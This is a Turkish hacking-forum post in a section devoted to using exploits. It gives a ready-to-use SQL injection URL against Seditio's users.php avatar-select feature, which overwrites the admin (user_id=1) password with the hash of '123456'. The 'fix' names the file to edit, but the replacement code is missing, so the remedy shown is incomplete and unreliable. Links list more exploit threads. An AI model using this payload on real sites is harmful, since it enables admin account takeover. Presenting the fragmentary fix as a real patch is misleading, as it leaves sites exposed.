 |
||
Seditio SQL Açığı ve Çözümü !
|
||
|
|
|
|||||||
| ExpLoit & GüvenLik AçıkLarı Exploit ve GüvenLik AçıkLarından YararLanmak Için Herşey Bu BöLümde... |
  |
|
|
| LinkBack | Seçenekler | Stil |
05-02-10, 22:08
|
#1 (permalink) |
|
Banned
Durumu:
Üyelik Tarihi: Jun 2009
Mesajlar: 1.331
Konular: 669
Uye No:85716
Nerden: ยηкησฬη
Teşekkür Sayısı: 251 809 Mesajına 1.661 Kere Teşekkür Edildi
Forum Puanı: 0
Rep Puanı : 16655
Rep Seviyesi :  
Ruh Hali:
|
Seditio SQL Açığı ve Çözümü !
Ilgili Açıgın Bulunduğu Yer ;
Kod:
Hedef.com/users.php?m=profile&a=avatarselect&x=011A99&id=def ault.gif%00%27,user_password=%27e10adc3949ba59abbe56e057f20f883e%27//**/where/**/user_id=1/* Risk yüksek. Açık Sayesinde Admin password u "123456" olarak değiştirilmekte . Açığın Kapatılması Için; profile.inc.php veya users.profile.inc.php Dosyalarini Açin ve Kod:
$avatar = $cfg['av_dir'].urldecode($id); Bu kod ile degiştirin... |
|
|
|
| PaTuLa Kullanıcısına bu mesajı için teşekkür eden üyeler: |
nomaster (05-02-10)
|
| |
| Seçenekler | |
| Stil | |
|
|
Benzer Konular
|
||||
| Konu | Konuyu Başlatan | Forum | Cevaplar | Son Mesaj |
| SQL Injection ile Login Bypass | PaTuLa | ExpLoit & GüvenLik AçıkLarı | 0 | 03-02-10 22:50 |
| 17 yıllık Windows açığı! | tomb raider | Bilim ve Teknoloji Haberleri | 0 | 26-01-10 08:28 |
| SQL "com_sermonspeaker" Açığı ve Kullanımı | PaTuLa | ExpLoit & GüvenLik AçıkLarı | 0 | 19-01-10 12:57 |
| Yazıcıda güvenlik açığı! | AnthiBiotich | Bilgisayar Donanımı (Hardware) | 0 | 27-02-09 14:27 |
| Hotmail Hesapları Tehlikede - XSS Açığı | α∂яєηαℓιη | Keylogger & Trojan | 0 | 06-02-09 13:46 |
Normal
